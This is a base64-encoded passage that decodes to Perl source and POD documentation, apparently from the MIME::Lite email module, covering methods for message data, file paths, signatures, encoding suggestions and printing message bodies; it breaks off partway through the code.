c2V0IHRoZSBsaXRlcmFsIERBVEEgb2YgdGhlIG1lc3NhZ2UuICBUaGUgREFUQSBtYXkgYmUKZWl0 aGVyIGEgc2NhbGFyLCBvciBhIHJlZmVyZW5jZSB0byBhbiBhcnJheSBvZiBzY2FsYXJzICh3aGlj aAp3aWxsIHNpbXBseSBiZSBqb2luZWQpLiAgICAKCkk8V2FybmluZzo+IHNldHRpbmcgdGhlIGRh dGEgY2F1c2VzIHRoZSAiY29udGVudC1sZW5ndGgiIGF0dHJpYnV0ZQp0byBiZSByZWNvbXB1dGVk IChwb3NzaWJseSB0byBub3RoaW5nKS4KCj1jdXQKCnN1YiBkYXRhIHsKICAgIG15ICRzZWxmID0g c2hpZnQ7CiAgICBpZiAoQF8pIHsKCSRzZWxmLT57RGF0YX0gPSAoKHJlZigkX1swXSkgZXEgJ0FS UkFZJykgPyBqb2luKCcnLCBAeyRfWzBdfSkgOiAkX1swXSk7Cgkkc2VsZi0+Z2V0X2xlbmd0aDsK ICAgIH0KICAgICRzZWxmLT57RGF0YX07Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0KCj1pdGVtIGZoIFtGSUxFSEFORExFXQoKSTxJbnN0YW5jZSBtZXRob2QuPgpHZXQvc2V0IHRo ZSBGSUxFSEFORExFIHdoaWNoIGNvbnRhaW5zIHRoZSBtZXNzYWdlIGRhdGEuCgpUYWtlcyBhIGZp bGVoYW5kbGUgYXMgYW4gaW5wdXQgYW5kIHN0b3JlcyBpdCBpbiB0aGUgb2JqZWN0LgpUaGlzIHJv dXRpbmUgaXMgc2ltaWxhciB0byBwYXRoKCk7IG9uZSBpbXBvcnRhbnQgZGlmZmVyZW5jZSBpcyB0 aGF0IApubyBhdHRlbXB0IGlzIG1hZGUgdG8gc2V0IHRoZSBjb250ZW50IGxlbmd0aC4gIAoKPWN1 dAoKc3ViIGZoIHsKICAgIG15ICRzZWxmID0gc2hpZnQ7CiAgICAkc2VsZi0+e0ZIfSA9IHNoaWZ0 IGlmIEBfOwogICAgJHNlbGYtPntGSH07Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0KCj1pdGVtIHBhdGggW1BBVEhdCgpJPEluc3RhbmNlIG1ldGhvZC4+CkdldC9zZXQgdGhlIFBB VEggdG8gdGhlIG1lc3NhZ2UgZGF0YS4KCkk8V2FybmluZzo+IHNldHRpbmcgdGhlIHBhdGggcmVj b21wdXRlcyBhbnkgZXhpc3RpbmcgImNvbnRlbnQtbGVuZ3RoIiBmaWVsZCwKYW5kIHJlLXNldHMg dGhlICJmaWxlbmFtZSIgKHRvIHRoZSBsYXN0IGVsZW1lbnQgb2YgdGhlIHBhdGggaWYgaXQKbG9v a3MgbGlrZSBhIHNpbXBsZSBwYXRoLCBhbmQgdG8gbm90aGluZyBpZiBub3QpLgoKPWN1dAoKc3Vi IHBhdGggewogICAgbXkgJHNlbGYgPSBzaGlmdDsKICAgIGlmIChAXykgewoKCSMjIyBTZXQgdGhl IHBhdGgsIGFuZCBpbnZhbGlkYXRlIHRoZSBjb250ZW50IGxlbmd0aDoKCSRzZWxmLT57UGF0aH0g PSBzaGlmdDsKCgkjIyMgUmUtc2V0IGZpbGVuYW1lLCBleHRyYWN0aW5nIGl0IGZyb20gcGF0aCBp ZiBwb3NzaWJsZToKCW15ICRmaWxlbmFtZTsKCWlmICgkc2VsZi0+e1BhdGh9IGFuZCAoJHNlbGYt PntQYXRofSAhfiAvXHwkLykpIHsgICMjIyBub24tc2hlbGwgcGF0aDoKCSAgICAoJGZpbGVuYW1l ID0gJHNlbGYtPntQYXRofSkgPX4gcy9ePC8vOyAgICAKCgkgICAgIyMjIENvbnN1bHQgRmlsZTo6 QmFzZW5hbWUsIG1heWJlOgoJICAgIGlmICgkSGF2ZUZpbGVCYXNlbmFtZSkgewoJCSRmaWxlbmFt ZSA9IEZpbGU6OkJhc2VuYW1lOjpiYXNlbmFtZSgkZmlsZW5hbWUpOwoJICAgIH0gCgkgICAgZWxz ZSB7CgkJKCRmaWxlbmFtZSkgPSAoJGZpbGVuYW1lID1+IG17KFteXC9dKylcWn0pOwoJICAgIH0K CX0KCSRzZWxmLT5maWxlbmFtZSgkZmlsZW5hbWUpOwoKCSMjIyBSZXNldCB0aGUgbGVuZ3RoOgoJ JHNlbGYtPmdldF9sZW5ndGg7CiAgICB9CiAgICAkc2VsZi0+e1BhdGh9Owp9CgojLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tCgo9aXRlbSByZXNldGZoIFtGSUxFSEFORExFXQoKSTxJbnN0 YW5jZSBtZXRob2QuPgpTZXQgdGhlIGN1cnJlbnQgcG9zaXRpb24gb2YgdGhlIGZpbGVoYW5kbGUg YmFjayB0byB0aGUgYmVnaW5uaW5nLiAKT25seSBhcHBsaWVzIGlmIHlvdSB1c2VkICJGSCIgaW4g YnVpbGQoKSBvciBhdHRhY2goKSBmb3IgdGhpcyBtZXNzYWdlLgoKUmV0dXJucyBmYWxzZSBpZiB1 bmFibGUgdG8gcmVzZXQgdGhlIGZpbGVoYW5kbGUgKHNpbmNlIG5vdCBhbGwgZmlsZWhhbmRsZXMK YXJlIHNlZWthYmxlKS4KCj1jdXQKCiMtLS0tCiMgTWlrbydzIG5vdGU6IFdpdGggdGhlIERhdGEg YW5kIFBhdGgsIHRoZSBzYW1lIGRhdGEgY291bGQgdGhlb3JldGljYWxseSAKIyBiZSByZXVzZWQu ICBIb3dldmVyLCBmaWxlIGhhbmRsZXMgbmVlZCB0byBiZSByZXNldCB0byBiZSByZXVzZWQsIAoj IHNvIEkgYWRkZWQgdGhpcyByb3V0aW5lLgojCiMgRXJ5cSByZXBseTogYmV3YXJlLi4uIG5vdCBh bGwgZmlsZWhhbmRsZXMgYXJlIHNlZWthYmxlICh0aGluayBhYm91dCBTVERJTikhCgpzdWIgcmVz ZXRmaCB7CiAgICBteSAkc2VsZiA9IHNoaWZ0OwogICAgc2Vlaygkc2VsZi0+e0ZIfSwwLDApOwp9 CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgo9aXRlbSByZWFkX25vdyAKCkk8SW5z dGFuY2UgbWV0aG9kLj4KRm9yY2VzIGRhdGEgZnJvbSB0aGUgcGF0aC9maWxlaGFuZGxlIChhcyBz cGVjaWZpZWQgYnkgQzxidWlsZCgpPikKdG8gYmUgcmVhZCBpbnRvIGNvcmUgaW1tZWRpYXRlbHks IGp1c3QgYXMgdGhvdWdoIHlvdSBoYWQgZ2l2ZW4gaXQKbGl0ZXJhbGx5IHdpdGggdGhlIEM8RGF0 YT4ga2V5d29yZC4gIAoKTm90ZSB0aGF0IHRoZSBpbi1jb3JlIGRhdGEgd2lsbCBhbHdheXMgYmUg dXNlZCBpZiBhdmFpbGFibGUuCgpCZSBhd2FyZSB0aGF0IGV2ZXJ5dGhpbmcgaXMgc2x1cnBlZCBp bnRvIGEgZ2lhbnQgc2NhbGFyOiB5b3UgbWF5IG5vdCB3YW50IAp0byB1c2UgdGhpcyBpZiBzZW5k aW5nIHRhciBmaWxlcyEgIFRoZSBiZW5lZml0IG9mIEk8bm90PiByZWFkaW5nIGluIHRoZSBkYXRh IAppcyB0aGF0IHZlcnkgbGFyZ2UgZmlsZXMgY2FuIGJlIGhhbmRsZWQgYnkgdGhpcyBtb2R1bGUg aWYgbGVmdCBvbiBkaXNrCnVudGlsIHRoZSBtZXNzYWdlIGlzIG91dHB1dCB2aWEgQzxwcmludCgp PiBvciBDPHByaW50X2JvZHkoKT4uCgo9Y3V0CgpzdWIgcmVhZF9ub3cgewogICAgbXkgJHNlbGYg PSBzaGlmdDsKICAgIGxvY2FsICQvID0gdW5kZWY7CiAgICAKICAgIGlmICAgICgkc2VsZi0+e0ZI fSkgeyAgICAgICAjIyMgZGF0YSBmcm9tIGEgZmlsZWhhbmRsZToKCW15ICRjaHVuazsKCW15IEBj aHVua3M7CglDT1JFOjpiaW5tb2RlKCRzZWxmLT57Rkh9KSBpZiAkc2VsZi0+YmlubW9kZTsKCXdo aWxlIChyZWFkKCRzZWxmLT57Rkh9LCAkY2h1bmssIDEwMjQpKSB7IAoJICAgIHB1c2ggQGNodW5r cywgJGNodW5rOyAKCX0KCSRzZWxmLT57RGF0YX0gPSBqb2luICcnLCBAY2h1bmtzOwogICAgfQog ICAgZWxzaWYgKCRzZWxmLT57UGF0aH0pIHsgICAgICMjIyBkYXRhIGZyb20gYSBwYXRoOgoJb3Bl biBTTFVSUCwgJHNlbGYtPntQYXRofSBvciBDYXJwOjpjcm9hayAib3BlbiAkc2VsZi0+e1BhdGh9 OiAkIVxuIjsKCUNPUkU6OmJpbm1vZGUoU0xVUlApIGlmICRzZWxmLT5iaW5tb2RlOwoJJHNlbGYt PntEYXRhfSA9IDxTTFVSUD47ICAgICAgICAjIyMgc3Nzc3Nzc3Nzc3Nzc3NsdXJwLi4uCgljbG9z ZSBTTFVSUDsgICAgICAgICAgICAgICAgICAgICMjIyAuLi5hYWFhYWFhYWFoaGghCiAgICB9Cn0K CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCj1pdGVtIHNpZ24gUEFSQU1IQVNICgpJ PEluc3RhbmNlIG1ldGhvZC4+ClNpZ24gdGhlIG1lc3NhZ2UuICBUaGlzIGZvcmNlcyB0aGUgbWVz c2FnZSB0byBiZSByZWFkIGludG8gY29yZSwKYWZ0ZXIgd2hpY2ggdGhlIHNpZ25hdHVyZSBpcyBh cHBlbmRlZCB0byBpdC4KCj1vdmVyIDQKCj1pdGVtIERhdGEKCkFzIGluIEM8YnVpbGQoKT46IHRo ZSBsaXRlcmFsIHNpZ25hdHVyZSBkYXRhLgpDYW4gYmUgZWl0aGVyIGEgc2NhbGFyIG9yIGEgcmVm IHRvIGFuIGFycmF5IG9mIHNjYWxhcnMuCgo9aXRlbSBQYXRoCgpBcyBpbiBDPGJ1aWxkKCk+OiB0 aGUgcGF0aCB0byB0aGUgZmlsZS4KCj1iYWNrCgpJZiBubyBhcmd1bWVudHMgYXJlIGdpdmVuLCB0 aGUgZGVmYXVsdCBpczoKCiAgICBQYXRoID0+ICIkRU5We0hPTUV9Ly5zaWduYXR1cmUiCgpUaGUg Y29udGVudC1sZW5ndGggaXMgcmVjb21wdXRlZC4KCj1jdXQKCnN1YiBzaWduIHsKICAgIG15ICRz ZWxmID0gc2hpZnQ7CiAgICBteSAlcGFyYW1zID0gQF87CgogICAgIyMjIERlZmF1bHQ6CiAgICBA XyBvciAkcGFyYW1ze1BhdGh9ID0gIiRFTlZ7SE9NRX0vLnNpZ25hdHVyZSI7CgogICAgIyMjIEZv cmNlIG1lc3NhZ2UgaW4tY29yZToKICAgIGRlZmluZWQoJHNlbGYtPntEYXRhfSkgb3IgJHNlbGYt PnJlYWRfbm93OwoKICAgICMjIyBMb2FkIHNpZ25hdHVyZToKICAgIG15ICRzaWc7CiAgICBpZiAo IWRlZmluZWQoJHNpZyA9ICRwYXJhbXN7RGF0YX0pKSB7ICAgICAgIyMjIG5vdCBnaXZlbiBleHBs aWNpdGx5OgoJbG9jYWwgJC8gPSB1bmRlZjsKCW9wZW4gU0lHLCAkcGFyYW1ze1BhdGh9IG9yIENh cnA6OmNyb2FrICJvcGVuIHNpZyAkcGFyYW1ze1BhdGh9OiAkIVxuIjsKCSRzaWcgPSA8U0lHPjsg ICAgICAgICAgICAgICAgICAjIyMgc3Nzc3Nzc3Nzc3Nzc3NsdXJwLi4uCgljbG9zZSBTSUc7ICAg ICAgICAgICAgICAgICAgICAgIyMjIC4uLmFhYWFhYWFhYWhoaCEKICAgIH0gICAgCiAgICAkc2ln ID0gam9pbignJyxAJHNpZykgaWYgKHJlZigkc2lnKSBhbmQgKHJlZigkc2lnKSBlcSAnQVJSQVkn KSk7CgogICAgIyMjIEFwcGVuZCwgZm9sbG93aW5nIEludGVybmV0IGNvbnZlbnRpb25zOgogICAg JHNlbGYtPntEYXRhfSAuPSAiXG4tLSBcbiRzaWciOwoKICAgICMjIyBSZS1jb21wdXRlIGxlbmd0 aDoKICAgICRzZWxmLT5nZXRfbGVuZ3RoOwogICAgMTsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLQojCiMgPWl0ZW0gc3VnZ2VzdF9lbmNvZGluZyBDT05URU5UVFlQRQojCiMgSTxD bGFzcy9pbnN0YW5jZSBtZXRob2QuPgojIEJhc2VkIG9uIHRoZSBDT05URU5UVFlQRSwgcmV0dXJu IGEgZ29vZCBzdWdnZXN0ZWQgZW5jb2RpbmcuCiMgQzx0ZXh0PiBhbmQgQzxtZXNzYWdlPiB0eXBl cyBoYXZlIHRoZWlyIGJvZGllcyBzY2FubmVkIGxpbmUtYnktbGluZQojIGZvciA4LWJpdCBjaGFy YWN0ZXJzIGFuZCBsb25nIGxpbmVzOyBsYWNrIG9mIGVpdGhlciBtZWFucyB0aGF0IHRoZQojIG1l c3NhZ2UgaXMgN2JpdC1vay4gIE90aGVyIHR5cGVzIGFyZSBjaG9zZW4gaW5kZXBlbmRlbnQgb2Yg dGhlaXIgYm9keToKIwojICAgIE1ham9yIHR5cGU6ICAgICAgIDdiaXQgb2s/ICAgIFN1Z2dlc3Rl ZCBlbmNvZGluZzoKIyAgICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0KIyAgICB0ZXh0ICAgICAgICAgICAgICB5ZXMgICAgICAgICA3 Yml0CiMgICAgICAgICAgICAgICAgICAgICAgbm8gICAgICAgICAgcXVvdGVkLXByaW50YWJsZSAg ICAKIyAgICAgICAgICAgICAgICAgICAgICB1bmtub3duICAgICBiaW5hcnkKIwojICAgIG1lc3Nh Z2UgICAgICAgICAgIHllcyAgICAgICAgIDdiaXQKIyAgICAgICAgICAgICAgICAgICAgICBubyAg ICAgICAgICBiaW5hcnkgICAgCiMgICAgICAgICAgICAgICAgICAgICAgdW5rbm93biAgICAgYmlu YXJ5CiMKIyAgICBtdWx0aXBhcnQgICAgICAgICBuL2EgICAgICAgICBiaW5hcnkgKGluIGNhc2Ug c29tZSBwYXJ0cyBhcmUgbm90IG9rKQojCiMgICAgKG90aGVyKSAgICAgICAgICAgbi9hICAgICAg ICAgYmFzZTY0CiMKIz1jdXQKCnN1YiBzdWdnZXN0X2VuY29kaW5nIHsKICAgIG15ICgkc2VsZiwg JGN0eXBlKSA9IEBfOwogICAgJGN0eXBlID0gbGMoJGN0eXBlKTsKCiAgICAjIyMgQ29uc3VsdCBN SU1FOjpUeXBlcywgbWF5YmU6CiAgICBpZiAoJEhhdmVNaW1lVHlwZXMpIHsKICAgIAoJIyMjIE1h cHBpbmdzIGNvbnRhaW4gW3N1ZmZpeCxtaW1ldHlwZSxlbmNvZGluZ10KCW15IEBtYXBwaW5ncyA9 IE1JTUU6OlR5cGVzOjpieV9tZWRpYXR5cGUoJGN0eXBlKTsKCWlmIChzY2FsYXIoQG1hcHBpbmdz KSkgewoJICAgICMjIyBKdXN0IHBpY2sgdGhlIGZpcnN0IG9uZToKCSAgICBteSAoJHN1ZmZpeCwg JG1pbWV0eXBlLCAkZW5jb2RpbmcpID0gQHskbWFwcGluZ3NbMF19OwoJICAgIGlmICgkZW5jb2Rp bmcgJiYKCQkkZW5jb2RpbmcgPX4vXihiYXNlNjR8YmluYXJ5fFs3OF1iaXR8cXVvdGVkLXByaW50 YWJsZSkkL2kpIHsKCQlyZXR1cm4gbGMoJGVuY29kaW5nKTsgICAgIyMjIHNhbml0eSBjaGVjawoJ ICAgIH0KCX0KICAgIH0KCiAgICAjIyMgSWYgd2UgZ290IGhlcmUsIHRoZW4gTUlNRTo6VHlwZXMg d2FzIG5vIGhlbHAuCiAgICAjIyMgRXh0cmFjdCBtYWpvciB0eXBlOgogICAgbXkgKCR0eXBlKSA9 IHNwbGl0ICcvJywgJGN0eXBlOwogICAgaWYgKCgkdHlwZSBlcSAndGV4dCcpIHx8ICgkdHlwZSBl cSAnbWVzc2FnZScpKSB7ICAgICMjIyBzY2FuIG1lc3NhZ2UgYm9keT8KCXJldHVybiAnYmluYXJ5 JzsKICAgIH0KICAgIGVsc2UgewoJcmV0dXJuICgkdHlwZSBlcSAnbXVsdGlwYXJ0JykgPyAnYmlu YXJ5JyA6ICdiYXNlNjQnOwogICAgfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t CiMKIyA9aXRlbSBzdWdnZXN0X3R5cGUgUEFUSAojCiMgSTxDbGFzcy9pbnN0YW5jZSBtZXRob2Qu PgojIFN1Z2dlc3QgdGhlIGNvbnRlbnQtdHlwZSBmb3IgdGhpcyBhdHRhY2hlZCBwYXRoLgojIFdl IGFsd2F5cyBmYWxsIGJhY2sgdG8gImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIgaWYgbm8gZ29v ZCBndWVzcwojIGNhbiBiZSBtYWRlLCBzbyBkb24ndCB1c2UgdGhpcyBpZiB5b3UgZG9uJ3QgbWVh biBpdCEKIwpzdWIgc3VnZ2VzdF90eXBlIHsKICAgIG15ICgkc2VsZiwgJHBhdGgpID0gQF87Cgog ICAgIyMjIElmIHRoZXJlJ3Mgbm8gcGF0aCwgYmFpbDoKICAgICRwYXRoIG9yIHJldHVybiAnYXBw bGljYXRpb24vb2N0ZXQtc3RyZWFtJzsKCiAgICAjIyMgQ29uc3VsdCBNSU1FOjpUeXBlcywgbWF5 YmU6CiAgICBpZiAoJEhhdmVNaW1lVHlwZXMpIHsKCSMgTWFwcGluZ3MgY29udGFpbiBbbWltZXR5 cGUsZW5jb2RpbmddOgoJbXkgQG1hcHBpbmdzID0gTUlNRTo6VHlwZXM6OmJ5X3N1ZmZpeCgkcGF0 aCk7CglpZiAoc2NhbGFyKEBtYXBwaW5ncykpIHsKCSAgICAjIyMgSnVzdCBwaWNrIHRoZSBmaXJz dCBvbmU6CgkgICAgbXkgKCRtaW1ldHlwZSwgJGVuY29kaW5nKSA9IEB7JG1hcHBpbmdzWzBdfTsK CSAgICBpZiAoJG1pbWV0eXBlICYmICRtaW1ldHlwZSA9fiAvXlxTK1wvXFMrJC8pIHsKCQlyZXR1 cm4gJG1pbWV0eXBlOyAgIyMjIHNhbml0eSBjaGVjawoJICAgIH0JICAgIAoJfQogICAgfQogICAg CiAgICAjIyMgSWYgd2UgZ290IGhlcmUsIHRoZW4gTUlNRTo6VHlwZXMgd2FzIG5vIGhlbHAuCiAg ICAjIyMgVGhlIGNvcnJlY3QgdGhpbmcgdG8gZmFsbCBiYWNrIHRvIGlzIHRoZSBtb3N0LWdlbmVy aWMgY29udGVudCB0eXBlOgogICAgcmV0dXJuICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nOwp9 CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgo9aXRlbSB2ZXJpZnlfZGF0YQoKSTxJ bnN0YW5jZSBtZXRob2QuPgpWZXJpZnkgdGhhdCBhbGwgInBhdGhzIiB0byBhdHRhY2hlZCBkYXRh IGV4aXN0LCByZWN1cnNpdmVseS4gIApJdCBtaWdodCBiZSBhIGdvb2QgaWRlYSBmb3IgeW91IHRv IGRvIHRoaXMgYmVmb3JlIGEgcHJpbnQoKSwgdG8KcHJldmVudCBhY2NpZGVudGFsIHBhcnRpYWwg b3V0cHV0IGlmIGEgZmlsZSBtaWdodCBiZSBtaXNzaW5nLgpSYWlzZXMgZXhjZXB0aW9uIGlmIGFu eSBwYXRoIGlzIG5vdCByZWFkYWJsZS4KCj1jdXQKCnN1YiB2ZXJpZnlfZGF0YSB7CiAgICBteSAk c2VsZiA9IHNoaWZ0OwoKICAgICMjIyBWZXJpZnkgc2VsZjoKICAgIG15ICRwYXRoID0gJHNlbGYt PntQYXRofTsKICAgIGlmICgkcGF0aCBhbmQgKCRwYXRoICF+IC9cfCQvKSkgeyAgIyMjIG5vbi1z aGVsbCBwYXRoOgoJJHBhdGggPX4gcy9ePC8vOyAgICAKCSgtciAkcGF0aCkgb3IgZGllICIkcGF0 aDogbm90IHJlYWRhYmxlXG4iOwogICAgfQoKICAgICMjIyBWZXJpZnkgcGFydHM6CiAgICBmb3Jl YWNoIG15ICRwYXJ0IChAeyRzZWxmLT57UGFydHN9fSkgeyAkcGFydC0+dmVyaWZ5X2RhdGEgfQog ICAgMTsKfQoKPWJhY2sKCj1jdXQKCgojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiM9 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCj1oZWFkMiBPdXRwdXQKCj1vdmVyIDQKCj1j dXQKCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCj1pdGVtIHByaW50IFtPVVRIQU5E TEVdCgpJPEluc3RhbmNlIG1ldGhvZC4+IApQcmludCB0aGUgbWVzc2FnZSB0byB0aGUgZ2l2ZW4g b3V0cHV0IGhhbmRsZSwgb3IgdG8gdGhlIGN1cnJlbnRseS1zZWxlY3RlZApmaWxlaGFuZGxlIGlm IG5vbmUgd2FzIGdpdmVuLgoKQWxsIE9VVEhBTkRMRSBoYXMgdG8gYmUgaXMgYSBmaWxlaGFuZGxl IChwb3NzaWJseSBhIGdsb2IgcmVmKSwgb3IgCmFueSBvYmplY3QgdGhhdCByZXNwb25kcyB0byBh IHByaW50KCkgbWVzc2FnZS4KCj1jdXQKCnN1YiBwcmludCB7CiAgICBteSAoJHNlbGYsICRvdXQp ID0gQF87CgogICAgIyMjIENvZXJjZSBpbnRvIGEgcHJpbnRhYmxlIG91dHB1dCBoYW5kbGU6CiAg ICAkb3V0ID0gd3JhcCBNSU1FOjpMaXRlOjpJT19IYW5kbGUgJG91dDsKCiAgICAjIyMgT3V0cHV0 IGhlYWQsIHNlcGFyYXRvciwgYW5kIGJvZHk6CiAgICAkc2VsZi0+dmVyaWZ5X2RhdGEgaWYgJEFV VE9fVkVSSUZZOyAgICAgICAjIyMgcHJldmVudHMgbWlzc2luZyBwYXJ0cyEKICAgICRvdXQtPnBy aW50KCRzZWxmLT5oZWFkZXJfYXNfc3RyaW5nLCAiXG4iKTsKICAgICRzZWxmLT5wcmludF9ib2R5 KCRvdXQpOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMKIyBwcmludF9mb3Jf c210cAojCiMgSW5zdGFuY2UgbWV0aG9kLCBwcml2YXRlLgojIFByaW50LCBidXQgZmlsdGVyIG91 dCB0aGUgdG9wbW9zdCAiQmNjIiBmaWVsZC4KIyBUaGlzIGlzIGJlY2F1c2UgcW1haWwgYXBwYXJl bnRseSBkb2Vzbid0IGRvIHRoaXMgZm9yIHVzIQojCnN1YiBwcmludF9mb3Jfc210cCB7CiAgICBt eSAoJHNlbGYsICRvdXQpID0gQF87CgogICAgIyMjIENvZXJjZSBpbnRvIGEgcHJpbnRhYmxlIG91 dHB1dCBoYW5kbGU6CiAgICAkb3V0ID0gd3JhcCBNSU1FOjpMaXRlOjpJT19IYW5kbGUgJG91dDsK ICAgIAogICAgIyMjIENyZWF0ZSBhIHNhZmUgaGVhZDoKICAgIG15IEBmaWVsZHMgPSBncmVwIHsg JF8tPlswXSBuZSAnYmNjJyB9IEB7JHNlbGYtPmZpZWxkc307CiAgICBteSAkaGVhZGVyID0gJHNl bGYtPmZpZWxkc19hc19zdHJpbmcoXEBmaWVsZHMpOwoKICAgICMjIyBPdXRwdXQgaGVhZCwgc2Vw YXJhdG9yLCBhbmQgYm9keToKICAgICRvdXQtPnByaW50KCRoZWFkZXIsICJcbiIpOwogICAgJHNl bGYtPnByaW50X2JvZHkoJG91dCk7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0K Cj1pdGVtIHByaW50X2JvZHkgW09VVEhBTkRMRV0KCkk8SW5zdGFuY2UgbWV0aG9kLj4gClByaW50 IHRoZSBib2R5IG9mIGEgbWVzc2FnZSB0byB0aGUgZ2l2ZW4gb3V0cHV0IGhhbmRsZSwgb3IgdG8g CnRoZSBjdXJyZW50bHktc2VsZWN0ZWQgZmlsZWhhbmRsZSBpZiBub25lIHdhcyBnaXZlbi4gIAoK QWxsIE9VVEhBTkRMRSBoYXMgdG8gYmUgaXMgYSBmaWxlaGFuZGxlIChwb3NzaWJseSBhIGdsb2Ig cmVmKSwgb3IgCmFueSBvYmplY3QgdGhhdCByZXNwb25kcyB0byBhIHByaW50KCkgbWVzc2FnZS4K CkI8RmF0YWwgZXhjZXB0aW9uPiByYWlzZWQgaWYgdW5hYmxlIHRvIG9wZW4gYW55IG9mIHRoZSBp bnB1dCBmaWxlcywKb3IgaWYgYSBwYXJ0IGNvbnRhaW5zIG5vIGRhdGEsIG9yIGlmIGFuIHVuc3Vw cG9ydGVkIGVuY29kaW5nIGlzIAplbmNvdW50ZXJlZC4KCj1jdXQKCnN1YiBwcmludF9ib2R5IHsK ICAgIG15ICgkc2VsZiwgJG91dCkgPSBAXzsKCiAgICAjIyMgQ29lcmNlIGludG8gYSBwcmludGFi bGUgb3V0cHV0IGhhbmRsZToKICAgICRvdXQgPSB3cmFwIE1JTUU6OkxpdGU6OklPX0hhbmRsZSAk b3V0OwoKICAgICMjIyBPdXRwdXQgZWl0aGVyIHRoZSBib2R5IG9yIHRoZSBwYXJ0cy4KICAgICMj IyAgIE5vdGljZSB0aGF0IHdlIGtleSBvZmYgb2YgdGhlIGNvbnRlbnQtdHlwZSEgIFdlIGV4cGVj dCBmZXdlciAKICAgICMjIyAgIGFjY2lkZW50cyB0aGF0IHdheSwgc2luY2UgdGhlIHN5bnRheCB3 aWxsIGFsd2F5cyBtYXRjaCB0aGUgTUlNRSB0eXBlLgogICAgbXkgJHR5cGUgPSAkc2VsZi0+YXR0 cignY29udGVudC10eXBlJyk7CiAgICBpZiAoJHR5cGUgPX4gbXtebXVsdGlwYXJ0L31pKSB7CQoJ bXkgJGJvdW5kYXJ5ID0gJHNlbGYtPmF0dHIoJ2NvbnRlbnQtdHlwZS5ib3VuZGFyeScpOwoKCSMj IyBQcmVhbWJsZToKCSRvdXQtPnByaW50KGRlZmluZWQoJHNlbGYtPntQcmVhbWJsZX0pCgkJICAg ID8gJHNlbGYtPntQcmVhbWJsZX0KCQkgICAgOiAiVGhpcyBpcyBhIG11bHRpLXBhcnQgbWVzc2Fn ZSBpbiBNSU1FIGZvcm1hdC5cbiIpOwoJCgkjIyMgUGFydHM6CglteSAkcGFydDsKCWZvcmVhY2gg JHBhcnQgKEB7JHNlbGYtPntQYXJ0c319KSB7CgkgICAgJG91dC0+cHJpbnQoIlxuLS0kYm91bmRh cnlcbiIpOwoJICAgICRwYXJ0LT5wcmludCgkb3V0KTsKCX0KCgkjIyMgRXBpbG9ndWU6Cgkkb3V0 LT5wcmludCgiXG4tLSRib3VuZGFyeS0tXG5cbiIpOwogICAgfQogICAgZWxzaWYgKCR0eXBlID1+ IG17Xm1lc3NhZ2UvfSkgewoJbXkgQHBhcnRzID0gQHskc2VsZi0+e1BhcnRzfX07CgoJIyMjIEl0 J3MgYSB0b3NzLXVwOyB0cnkgYm90aCBkYXRhIGFuZCBwYXJ0czoKCWlmICAgIChAcGFydHMgPT0g MCkgeyAkc2VsZi0+cHJpbnRfc2ltcGxlX2JvZHkoJG91dCkgfQoJZWxzaWYgKEBwYXJ0cyA9PSAx KSB7ICRwYXJ0c1swXS0+cHJpbnQoJG91dCkgfQoJZWxzZSAgICAgICAgICAgICAgICB7IENhcnA6 OmNyb2FrICJjYW4ndCBoYW5kbGUgbWVzc2FnZSB3aXRoID4xIHBhcnRcbiI7IH0KICAgIH0KICAg IGVsc2UgeyAgICAgICAgICAgICAgICAgICAgCgkkc2VsZi0+cHJpbnRfc2ltcGxlX2JvZHkoJG91 dCk7IAogICAgfQogICAgMTsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojCiMg cHJpbnRfc2ltcGxlX2JvZHkgW09VVEhBTkRMRV0KIwojIEk8SW5zdGFuY2UgbWV0aG9kLCBwcml2 YXRlLj4KIyBQcmludCB0aGUgYm9keSBvZiBhIHNpbXBsZSBzaW5nbGVwYXJ0IG1lc3NhZ2UgdG8g dGhlIGdpdmVuIAojIG91dHB1dCBoYW5kbGUsIG9yIHRvIHRoZSBjdXJyZW50bHktc2VsZWN0ZWQg ZmlsZWhhbmRsZSBpZiBub25lIAojIHdhcyBnaXZlbi4gIAojCiMgTm90ZSB0aGF0IGlmIHlvdSB3 YW50IHRvIHByaW50ICJ0aGUgcG9ydGlvbiBhZnRlcgojIHRoZSBoZWFkZXIiLCB5b3UgZG9uJ3Qg d2FudCB0aGlzIG1ldGhvZDogeW91IHdhbnQgCiMgTDxwcmludF9ib2R5KCl8L3ByaW50X2JvZHk+ LgojCiMgQWxsIE9VVEhBTkRMRSBoYXMgdG8gYmUgaXMgYSBmaWxlaGFuZGxlIChwb3NzaWJseSBh IGdsb2IgcmVmKSwgb3IgCiMgYW55IG9iamVjdCB0aGF0IHJlc3BvbmRzIHRvIGEgcHJpbnQoKSBt ZXNzYWdlLgojCiMgQjxGYXRhbCBleGNlcHRpb24+IHJhaXNlZCBpZiB1bmFibGUgdG8gb3BlbiBh bnkgb2YgdGhlIGlucHV0IGZpbGVzLAojIG9yIGlmIGEgcGFydCBjb250YWlucyBubyBkYXRhLCBv ciBpZiBhbiB1bnN1cHBvcnRlZCBlbmNvZGluZyBpcyAKIyBlbmNvdW50ZXJlZC4KIwpzdWIgcHJp 